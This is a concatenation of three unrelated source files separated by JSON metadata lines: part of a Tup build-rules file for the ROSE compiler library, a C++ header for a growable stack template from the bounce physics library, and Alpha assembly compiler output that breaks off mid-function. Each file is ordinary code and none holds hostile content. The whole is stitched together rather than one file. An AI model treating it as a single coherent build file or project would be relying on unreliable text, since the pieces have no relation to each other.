LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)$(ZLIB_ROOT)/lib @(CXX_LIBDIR_SWITCH)$(ZLIB_ROOT)/lib
endif
LDFLAGS_STATIC += @(CXX_LIB_SWITCH)z
LDFLAGS_SHARED += @(CXX_LIB_SWITCH)z
endif
# The long, fake rpaths are intended to be reserving space in the executable that will be overwritten by
# new rpaths when the executable is installed.
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
LDFLAGS_SHARED += @(CXX_RPATH_SWITCH)ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
########################################################################################################################
# Sanity checks
########################################################################################################################
ifneq (@(WITH_DWARF),no)
ifeq (@(WITH_ELF),no)
error CONFIG_WITH_DWARF specified means you also need CONFIG_WITH_ELF
endif
endif
ifneq (@(WITH_GCRYPT),no)
ifeq (@(WITH_GPG_ERROR),no)
error CONFIG_WITH_GGCRYPT specified means you also need CONFIG_WITH_GPG_ERROR
endif
endif
########################################################################################################################
# Phase 1 "support"
#
# The purpose of Phase-1 is to compile those tools that are prerequisites for building the ROSE library. For instance,
# the executable "CxxGrammarMetaProgram" must be built and run in order to generate various source files including the
# definitions for all the Sage IR nodes.
#
# Phase-1 can be used to create any artifacts (object files, libraries, executables, etc) that don't depend on generated
# source files.
#
########################################################################################################################
# List of compiler flags for searching for ROSE header files for #include files. List here only those directories
# that are part of the ROSE source distribution -- DO NOT list directories for other software like Boost.
support_INCDIRS = \
@(CPP_INCDIR_SWITCH)$(ROSE) \
@(CPP_INCDIR_SWITCH)$(ROSE)/src \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/3rdPartyLibraries/libharu-2.1.0/include \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/SageIII \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/SageIII/sageInterface \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/binaryAnalyses \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/roseSupport \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/util \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/util/commandlineProcessing \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/util/stringSupport
# Compilers
support_CC = $(CC)
support_CXX = $(CXX)
# C preprocessor flags
support_CPPFLAGS += $(CPPFLAGS)
support_CPPFLAGS += @(SUPPORT_CPPFLAGS)
support_CPPFLAGS += $(support_INCDIRS)
# C compiler flags
support_CFLAGS += $(CFLAGS)
support_CFLAGS += @(SUPPORT_CFLAGS)
# C++ compiler flags
support_CXXFLAGS += $(CXXFLAGS)
support_CXXFLAGS += @(SUPPORT_CXXFLAGS)
# Linker flags
support_LDFLAGS_STATIC += $(LDFLAGS_STATIC)
support_LDFLAGS_STATIC += @(SUPPORT_LDFLAGS_STATIC)
support_LDFLAGS_SHARED += $(LDFLAGS_SHARED)
support_LDFLAGS_SHARED += @(SUPPORT_LDFLAGS_SHARED)
# Generated files used by Phase-1 when compiling
support_GENHDR = \
$(ROSE)/rose_config.h \
$(ROSE)/rosePublicConfig.h \
$(ROSE)/src/3rdPartyLibraries/libharu-2.1.0/include/hpdf_config.h
# If you're creating an executable from a bunch of source files, use "run $(support_compile_linkexe) ..." which will create
# rules for compiling the specified source files into objects, and then linking the objects. Detailed usage information
# can be found in the script. Here are some examples:
#
# 1. To create a "foo" executable from a foo.C source file
# run $(support_compile_linkexe) foo.C
#
# 2. To create a "foo" executable from two source files. The executable is named "foo" since the first source file's
# base name is "foo.C".
# run $(support_compile_linkexe) foo.C bar.C baz.C
#
# 3. Specify the name of the executable.
# run $(support_compile_linkexe) -o a.out foo.C bar.C baz.C
#
# 4. You can mix languages (assuming linking is possible).
# run $(support_compile_linkexe) foo.C bar.cpp baz.c
#
# 5. You can specify additional include and/or library paths.
# run $(support_compile_linkexe) foo.C -I/some/include -L/some/lib -lsome
#
# 6. You can define or undefine macros
# run $(support_compile_linkexe) foo.C -DNAME='"some_string"' -UFOO
#
# 7. We also have a "lib" version that behaves exactly the same, but produces libraries.
# For instance, this command produces a library named libfoo.so
# run $(support_compile_linklib) foo.C bar.C
#
# 8. The version without "link" in its name only compiles to objects and doesn't produce
# an executable or a library.
# run $(support_compile) foo.C bar.C
#
support_compile_linkexe = $(COMPILER_RULES) --phase=support --link=exe --linkage=@(LINKAGE) --begin-deps $(support_GENHDR) --end-deps --rpath="${ALL_LIBDIRS}"
support_compile_linklib = $(COMPILER_RULES) --phase=support --link=lib --linkage=@(LINKAGE) --begin-deps $(support_GENHDR) --end-deps
support_compile = $(COMPILER_RULES) --phase=support --link=none --begin-deps $(support_GENHDR) --end-deps
########################################################################################################################
# Phase 2 "librose"
#
# This phase is for compiling and linking those source files that ultimately become part of the ROSE library (librose.so
# and/or librose.a). Such files may be generated and/or use generated headers.
#
# DO NOT use Phase-2 to compile anything that's needed by a tool that generates ROSE source files. For example, since
# the CxxGrammarMetaProgram executable generates source files that go into the ROSE library, it must be built during
# Phase-1. And since CxxGrammarMetaProgram uses $(ROSE)/src/util/commandline_processing/commandline_processing.C to
# perform its command-line parsing, that file must also be compiled during Phase-1.
########################################################################################################################
# List of compiler flags for searching for ROSE header files for #include files. List here only those directories
# that are part of the ROSE source distribution -- DO NOT list directories for other software like Boost.
librose_INCDIRS = \
$(support_INCDIRS) \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/3rdPartyLibraries/MSTL \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/backend/asmUnparser \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/backend/unparser \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/backend/unparser/AdaCodeGeneration \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/backend/unparser/CxxCodeGeneration \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/backend/unparser/formatSupport \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/backend/unparser/FortranCodeGeneration \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/backend/unparser/JavaCodeGeneration \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/backend/unparser/JovialCodeGeneration \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/backend/unparser/languageIndependenceSupport \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/backend/unparser/PHPCodeGeneration \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/backend/unparser/PythonCodeGeneration \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/backend/unparser/X10CodeGeneration \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/BinaryFormats \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/BinaryLoader \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/Disassemblers \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/DLX/include \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/Experimental_General_Language_Support \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/PHPFrontend \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/PythonFrontend \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/SageIII/astFileIO \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/SageIII/astFixup \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/SageIII/astFromString \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/SageIII/astMerge \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/SageIII/astPostProcessing \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/SageIII/astTokenStream \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/SageIII/astVisualization \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/SageIII/includeDirectivesProcessing \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/SageIII/sage_support \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/frontend/SageIII/virtualCFG \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/abstractHandle \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/abstractLayer \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/abstractMemoryObject \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/astDiagnostics \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/astMatching \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/astProcessing \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/astQuery \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/astRewriteMechanism \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/astUtil/annotation \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/astUtil/astInterface \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/astUtil/astSupport \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/astUtil/symbolicVal \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/BinaryAnalysis \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/BinaryAnalysis/instructionSemantics \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/BinaryAnalysis/libraryIdentification \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/ \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/bitvectorDataflow \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/CallGraphAnalysis \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/CFG \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/defUseAnalysis \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/dominanceAnalysis \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/genericDataflow \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/genericDataflow/analysis \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/genericDataflow/arrIndexLabeler \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/genericDataflow/cfgUtils \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/genericDataflow/lattice \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/genericDataflow/rwAccessLabeler \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/genericDataflow/simpleAnalyses \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/genericDataflow/state \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/genericDataflow/variables \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/OAWrap \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/pointerAnal \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/valuePropagation \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programAnalysis/VirtualFunctionAnalysis \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/astInlining \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/astOutlining \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/constantFolding \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/extractFunctionArgumentsNormalization \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/finiteDifferencing \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/implicitCodeGeneration \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/loopProcessing/computation \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/loopProcessing/depGraph \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/loopProcessing/depInfo \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/loopProcessing/driver \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/loopProcessing/outsideInterface \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/loopProcessing/prepostTransformation \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/loopProcessing/slicing \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/ompLowering \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/partialRedundancyElimination \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/singleStatementToBlockNormalization \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/midend/programTransformation/transformationTracking \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/ROSETTA/src \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/ROSETTA/src/astFileIO \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/roseExtensions/failSafe \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/roseExtensions/sqlite3x \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/util/graphs \
@(CPP_INCDIR_SWITCH)$(ROSE)/src/util/support
# Compilers
librose_CC = $(CC)
librose_CXX = $(CXX)
# C preprocessor flags
librose_CPPFLAGS += $(CPPFLAGS)
librose_CPPFLAGS += @(LIBROSE_CPPFLAGS)
librose_CPPFLAGS += $(librose_INCDIRS)
# C compiler flags
librose_CFLAGS += $(CFLAGS)
librose_CFLAGS += @(LIBROSE_CFLAGS)
# C++ compiler flags
librose_CXXFLAGS += $(CXXFLAGS)
librose_CXXFLAGS += @(LIBROSE_CXXFLAGS)
# Linker flags
librose_LDFLAGS_STATIC += $(LDFLAGS_STATIC)
librose_LDFLAGS_STATIC += @(LIBROSE_LDFLAGS_STATIC)
librose_LDFLAGS_SHARED += $(LDFLAGS_SHARED)
librose_LDFLAGS_SHARED += @(LIBROSE_LDFLAGS_SHARED)
# Headers generated by CxxGrammarMetaProgram
#
# Note: $(ROSE)/src/ROSETTA/SourcesOfIRNodesAstFileIOSupport.C, although ending with ".C" is actually treated more like
# a header file. It is not compiled directly to create an object file. Instead, it is included into other sources
# with "#include <SourcesOfIRNodesAstFileIOSupport.C>" in
# $(ROSE)/src/ROSETTA/Grammar/grammarStaticDatamanagingClassSource.macro.
CxxGrammarMetaProgram_GENHDR = \
$(ROSE)/src/ROSETTA/src/AST_FILE_IO.h \
$(ROSE)/src/ROSETTA/src/AstQueryMemoryPool.h \
$(ROSE)/src/ROSETTA/src/AstSpecificDataManagingClass.h \
$(ROSE)/src/ROSETTA/src/Cxx_Grammar.h \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarMemoryPoolSupport.h \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarSerialization.h \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarTreeTraversalAccessEnums.h \
$(ROSE)/src/ROSETTA/src/StorageClasses.h \
$(ROSE)/src/ROSETTA/src/SourcesOfIRNodesAstFileIOSupport.C
# Source files generated by CxxGrammarMetaProgram
CxxGrammarMetaProgram_GENSRC = \
$(ROSE)/src/ROSETTA/src/AST_FILE_IO.C \
$(ROSE)/src/ROSETTA/src/Cxx_Grammar.C \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarCheckingIfDataMembersAreInMemoryPool.C \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarCopyMemberFunctions.C \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarGetChildIndex.C \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarMemoryPoolSupport.C \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarNewAndDeleteOperators.C \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarNewConstructors.C \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarProcessDataMemberReferenceToPointers.C \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarRTI.C \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarReturnClassHierarchySubTree.C \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarReturnDataMemberPointers.C \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarSerialization.C \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarTraverseMemoryPool.C \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarTreeTraversalSuccessorContainer.C \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarVariantEnumNames.C \
$(ROSE)/src/ROSETTA/src/StorageClasses.C
# Other files generated by CxxGrammarMetaProgram
CxxGrammarMetaProgram_GENMISC = \
$(ROSE)/src/ROSETTA/src/grammar.dot \
$(ROSE)/src/ROSETTA/src/generated_abstractcppgrammar.atg \
$(ROSE)/src/ROSETTA/src/generated_sdf_tree_grammar.rtg \
$(ROSE)/src/ROSETTA/src/Cxx_GrammarClassesAndFields.txt \
# All files generated by CxxGrammarMetaProgram
CxxGrammarMetaProgram_OUTPUT = \
$(CxxGrammarMetaProgram_GENHDR) \
$(CxxGrammarMetaProgram_GENSRC) \
$(CxxGrammarMetaProgram_GENMISC)
# Generated header files used by Phase-2 when compiling
librose_GENHDR = \
$(support_GENHDR) \
$(CxxGrammarMetaProgram_GENHDR)
# Use this command to compile C and C++ files that ultimately become part of librose.so. Use it like this:
# run $(librose_compile) file1.C file2.C file3.C ... fileN.C
librose_compile = $(COMPILER_RULES) --phase=librose --link=lib --linkage=static -o rose_partial --group=$(ROSE)/librose --begin-deps $(librose_GENHDR) --end-deps
# Macro called by $(librose_compile) to generate a intermediate archive. This isn't usually used directly.
!for_librose = \
|> ^ librose LINK %o^ \
ar rcs %o %f \
|> librose_partial.a $(ROSE)/<librose>
# This command generates the rules for building a python API
python_module = $(COMPILER_RULES) --phase=librose --link=python --linkage=shared --begin-deps $(librose_GENHDR) --end-deps
python_package = $(TUP_SCRIPTS)/generate-install-rules \
--license=$(ROSE)/LicenseInformation/ROSE_BSD_License.txt \
--language=shell
########################################################################################################################
# Phase 3 "tool"
#
# These variables and rules are for compiling tools once the ROSE library (librose.so and/or librose.a) have been
# built. If you tool doesn't depend on ROSE (neither libraries nor headers) you may use Phase-1 commands instead.
# Programs run to test ROSE are a kind of tool.
########################################################################################################################
tool_INCDIRS = $(librose_INCDIRS)
# Compilers
tool_CC = $(CC)
tool_CXX = $(CXX)
# C preprocessor flags
tool_CPPFLAGS += $(CPPFLAGS)
tool_CPPFLAGS += @(LIBROSE_CPPFLAGS)
tool_CPPFLAGS += @(TOOL_CPPFLAGS)
tool_CPPFLAGS += $(tool_INCDIRS)
# C compiler flags
tool_CFLAGS += $(CFLAGS)
tool_CFLAGS += @(TOOL_CFLAGS)
# C++ compiler flags
tool_CXXFLAGS += $(CXXFLAGS)
tool_CXXFLAGS += @(TOOL_CXXFLAGS)
# Linker flags.
tool_LDFLAGS_STATIC += $(LDFLAGS_STATIC)
tool_LDFLAGS_STATIC += @(TOOL_LDFLAGS_STATIC)
tool_LDFLAGS_STATIC += -L$(ROSE)/src -lrose
tool_LDFLAGS_SHARED += $(LDFLAGS_SHARED)
tool_LDFLAGS_SHARED += @(TOOL_LDFLAGS_SHARED)
tool_LDFLAGS_SHARED += -Wl,-rpath,`$(ROSE)/scripts/tup/fix-tup-builddir-name --canonical $(ROSE)/src` -L$(ROSE)/src -lrose
# Generated headers used by Phase-3 when compiling
tool_GENHDR = $(librose_GENHDR)
# Generated libraries used by Phase-3 when linking
tool_GENLIB = $(ROSE)/src/librose
# If you're creating an executable from a bunch of source files, use "run $(tool_compile_linkexe) ..." which will create
# rules for compiling the specified source files into objects, and then linking the objects. Detailed usage information
# can be found in the script. Here are some examples:
#
# 1. To create a "foo" executable from a foo.C source file
# run $(tool_compile_linkexe) foo.C
#
# 2. To create a "foo" executable from two source files. The executable is named "foo" since the first source file's
# base name is "foo.C".
# run $(tool_compile_linkexe) foo.C bar.C baz.C
#
# 3. Specify the name of the executable.
# run $(tool_compile_linkexe) -o a.out foo.C bar.C baz.C
#
# 4. You can mix languages (assuming linking is possible).
# run $(tool_compile_linkexe) foo.C bar.cpp baz.c
#
# 5. You can specify additional include and/or library paths.
# run $(tool_compile_linkexe) foo.C -I/some/include -L/some/lib -lsome
#
# 6. You can define or undefine macros
# run $(tool_compile_linkexe) foo.C -DNAME='"some_string"' -UFOO
#
# 7. We also have a "lib" version that behaves exactly the same, but produces libraries.
# For instance, this command produces a library named libfoo.so
# run $(tool_compile_linklib) foo.C bar.C
#
# 8. The version without "link" in its name only compiles to objects and doesn't produce
# an executable or a library.
# run $(tool_compile) foo.C bar.C
#
tool_compile_linkexe = $(COMPILER_RULES) --phase=tool --link=exe --linkage=@(LINKAGE) --begin-deps $(tool_GENHDR) --end-deps --rpath="${ALL_LIBDIRS}" $(ROSE)/src/librose
tool_compile_linklib = $(COMPILER_RULES) --phase=tool --link=lib --linkage=@(LINKAGE) --begin-deps $(tool_GENHDR) --end-deps
tool_compile = $(COMPILER_RULES) --phase=tool --link=none --begin-deps $(tool_GENHDR) --end-deps
########################################################################################################################
# Testing
# This section is for running tests
########################################################################################################################
# To run a tester to check it's exit status, do one of these
# run $(test) a.out
# run $(test) a.out ./a.out
#
# Additional arguments can be given to the executable
# run $(test) a.out ./a.out hello world
#
# This script generates the testing rules
test = $(TUP_SCRIPTS)/generate-test-rules
# This script actually runs the test. You shouldn't need to call this explicitly -- use "run $(test) ..." instead.
# The ASAN_OPTIONS environment variable controls the address santizer (GCC and LLVM's -fsanitize=address switch) and
# it doesn't hurt to always define this environment variable even when the address sanitizer isn't enabled. These
# options are useful:
# detect_leaks=0 -- because ROSE leaks huge amounts of memory in the AST
# abort_on_error=1 -- because the default is to simply exit, which gives no useful information for debugging.
run_test = env ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 $(TUP_SCRIPTS)/run-test --timeout=@(RTH_TIMEOUT) --map=@(ROSE_SOURCE),$(ROOT) @(RTH_FLAGS)
########################################################################################################################
# Installation
#
# Installation happens in a couple steps. First step is created by the "run $(preinstall)" rule generator which
# arranges to copy the inputs to the current working directory and prepend "preinstall-" to each of their names. Certain
# transformations are applied during the copy, such as adding the copyright and/or licensing information to the top of
# header files. These "preinstall-*" files are then added to a <staging> group defined in the destination directory.
# There are only a few destination directories all located under $(ROSE)/$(INSTALL_STAGING) and each has a Tupfile with
# a rule that copies the preinstall-* files from where they were generated to the staging area. The reason for this
# extra copy is that we want the "run $(preinstall)" to appear in the same directory where the input file exists.
########################################################################################################################
# Staging area for installing, a subdirectory of the build tree. Things are installed here by tup, and then moved to
# their final location by another script later.
INSTALL_STAGING = install-staging
# Use "run $(public_header) FILES..." to mark header files as being public and therefore needing to be installed.
# All header files are assumed to be C++ for the purposes of inserting comments, but you can override the --language
# switch if you need to. You can also override the --output switch if the headers are intended to be installed
# somewhere other than include/rose (the value should be relative to the ROSE install prefix).
public_header = $(TUP_SCRIPTS)/generate-install-rules \
--license=$(ROSE)/LicenseInformation/ROSE_BSD_License.txt \
--language=c++ \
--output=include/rose
# Use "run $(public_file) FILES..." to install files other than header files. You'll need to specify an instllation
# subdirectory with the "-o" (or --output) switch. If you want the copyright notice, use --license (which might also
# require a --language switch).
public_file = $(TUP_SCRIPTS)/generate-install-rules
# Use this to install public libraries.
public_library = $(TUP_SCRIPTS)/generate-install-rules -o lib
# Use this to install shell scripts. We don't prepend a copyright comment because the script probably starts
# with "#!" or other special commands that might be messed up by the comment.
public_script = $(TUP_SCRIPTS)/generate-install-rules --language=shell -o bin
#FIXME: 3rd party libraries such as Sawyer probably have their own LICENSE files that should be used instead.
# Each staging destination directory (e.g., $(ROSE)/install-staging/bin) must have a tupfile with the followin g rule
# : <staging> |> echo %<staging> >%o |> MANIFEST
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2016-2019 Irlan Robson https://irlanrobson.github.io
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely, subject to the following restrictions:
* 1. The origin of this software must not be misrepresented; you must not
* claim that you wrote the original software. If you use this software
* in a product, an acknowledgment in the product documentation would be
* appreciated but is not required.
* 2. Altered source versions must be plainly marked as such, and must not be
* misrepresented as being the original software.
* 3. This notice may not be removed or altered from any source distribution.
*/
#ifndef B3_STACK_H
#define B3_STACK_H
#include <bounce/common/settings.h>
// A growable LIFO stack with an initial capacity of N.
// If the stack capacity exceeds the initial capacity, the heap
// is used to increase the capacity of the stack.
template <typename T, u32 N>
class b3Stack
{
public:
b3Stack()
{
m_capacity = N;
m_elements = m_stackElements;
m_count = 0;
}
~b3Stack()
{
if (m_elements != m_stackElements)
{
b3Free(m_elements);
}
m_elements = nullptr;
}
const T& Top() const
{
B3_ASSERT(m_count);
return m_elements[m_count - 1];
}
T& Top()
{
B3_ASSERT(m_count);
return m_elements[m_count - 1];
}
void Push(const T& ele)
{
if (m_count == m_capacity)
{
T* oldElements = m_elements;
m_capacity *= 2;
m_elements = (T*)b3Alloc(m_capacity * sizeof(T));
memcpy(m_elements, oldElements, m_count * sizeof(T));
if (oldElements != m_stackElements)
{
b3Free(oldElements);
}
}
B3_ASSERT(m_count < m_capacity);
m_elements[m_count] = ele;
++m_count;
}
void Pop()
{
B3_ASSERT(m_count);
--m_count;
}
u32 Count() const
{
return m_count;
}
bool IsEmpty() const
{
return m_count == 0;
}
private:
u32 m_capacity;
T* m_elements;
u32 m_count;
T m_stackElements[N];
};
#endif
| {
"pile_set_name": "Github"
} |
.globl main
.text
.text
.ent main
main:
ldgp $gp,0($27)
lda $sp,-64($sp)
.frame $sp,64,$26,48
.prologue 1
mov $31,$0
L.1:
lda $sp,64($sp)
ret
.end main
.globl f
.text
.ent f
f:
ldgp $gp,0($27)
lda $sp,-80($sp)
.mask 0x4000000,-80
.frame $sp,80,$26,48
stq $26,0($sp)
stq $16,32($sp)
.prologue 1
jsr $26,f
ldgp $gp,0($26)
mov $0,$27
stl $27,-60+80($sp)
jsr $26,f
ldgp $gp,0($26)
ldl $25,-60+80($sp)
addl $25,$0,$27
stl $27,-48+80($sp)
mov $31,$0
L.2:
ldq $26,0($sp)
lda $sp,80($sp)
ret
.end f
.globl f2
.text
.ent f2
f2:
ldgp $gp,0($27)
lda $sp,-80($sp)
.mask 0x4004000,-72
.frame $sp,80,$26,48
stq $14,0($sp)
stq $26,8($sp)
stq $16,32($sp)
.prologue 1
jsr $26,f
ldgp $gp,0($26)
mov $0,$27
stl $27,-60+80($sp)
ldl $25,-48+80($sp)
cmpeq $25,$31,$23
bne $23,L.5
jsr $26,f
ldgp $gp,0($26)
mov $0,$27
mov $27,$14
br L.6
L.5:
lda $14,1
L.6:
ldl $27,-60+80($sp)
addl $27,$14,$27
stl $27,-48+80($sp)
mov $31,$0
L.3:
ldq $14,0($sp)
ldq $26,8($sp)
lda $sp,80($sp)
ret
.end f2
.globl f3
.text
.ent f3
f3:
ldgp $gp,0($27)
lda $sp,-144($sp)
.mask 0x4007e00,-96
.frame $sp,144,$26,48
stq $9,0($sp)
stq $10,8($sp)
stq $11,16($sp)
stq $12,24($sp)
stq $13,32($sp)
stq $14,40($sp)
stq $26,48($sp)
stq $16,96($sp)
stq $17,104($sp)
.prologue 1
mov $31,$14
mov $31,$13
mov $31,$12
mov $31,$11
mov $31,$10
mov $31,$9
stl $31,-60+144($sp)
stl $31,-64+144($sp)
stl $31,-68+144($sp)
stl $31,-72+144($sp)
ldq $27,-40+144($sp)
stq $27,-88+144($sp)
lda $25,4($27)
stq $25,-40+144($sp)
ldl $25,-48+144($sp)
cmpeq $25,$31,$23
bne $23,L.9
jsr $26,f
ldgp $gp,0($26)
mov $0,$27
stl $27,-76+144($sp)
br L.10
L.9:
stl $31,-76+144($sp)
L.10:
ldl $27,-76+144($sp)
ldq $25,-88+144($sp)
stl $27,($25)
mov $31,$0
L.7:
ldq $9,0($sp)
ldq $10,8($sp)
ldq $11,16($sp)
ldq $12,24($sp)
ldq $13,32($sp)
ldq $14,40($sp)
ldq $26,48($sp)
lda $sp,144($sp)
ret
.end f3
.globl f4
.text
.ent f4
f4:
ldgp $gp,0($27)
lda $sp,-128($sp)
.mask 0x4007e00,-80
.frame $sp,128,$26,48
stq $9,0($sp)
stq $10,8($sp)
stq $11,16($sp)
stq $12,24($sp)
stq $13,32($sp)
stq $14,40($sp)
stq $26,48($sp)
.prologue 1
mov $31,$14
mov $31,$13
mov $31,$12
mov $31,$11
mov $31,$10
mov $31,$9
ldl $27,i
sll $27,8*(8-4),$25
sra $25,8*(8-4),$25
sll $25,3,$25
ldt $f30,a($25)
ldt $f29,b($25)
ldt $f28,L.15
addt $f30,$f29,$f27
cmpteq $f27,$f28,$f1
fbne $f1,L.13
cmpeq $27,$31,$23
bne $23,L.13
subt $f30,$f29,$f30
cmpteq $f30,$f28,$f1
fbne $f1,L.13
lda $27,1
stl $27,-60+128($sp)
br L.14
L.13:
stl $31,-60+128($sp)
L.14:
ldl $27,-60+128($sp)
stl $27,i
mov $31,$0
L.11:
ldq $9,0($sp)
ldq $10,8($sp)
ldq $11,16($sp)
ldq $12,24($sp)
ldq $13,32($sp)
ldq $14,40($sp)
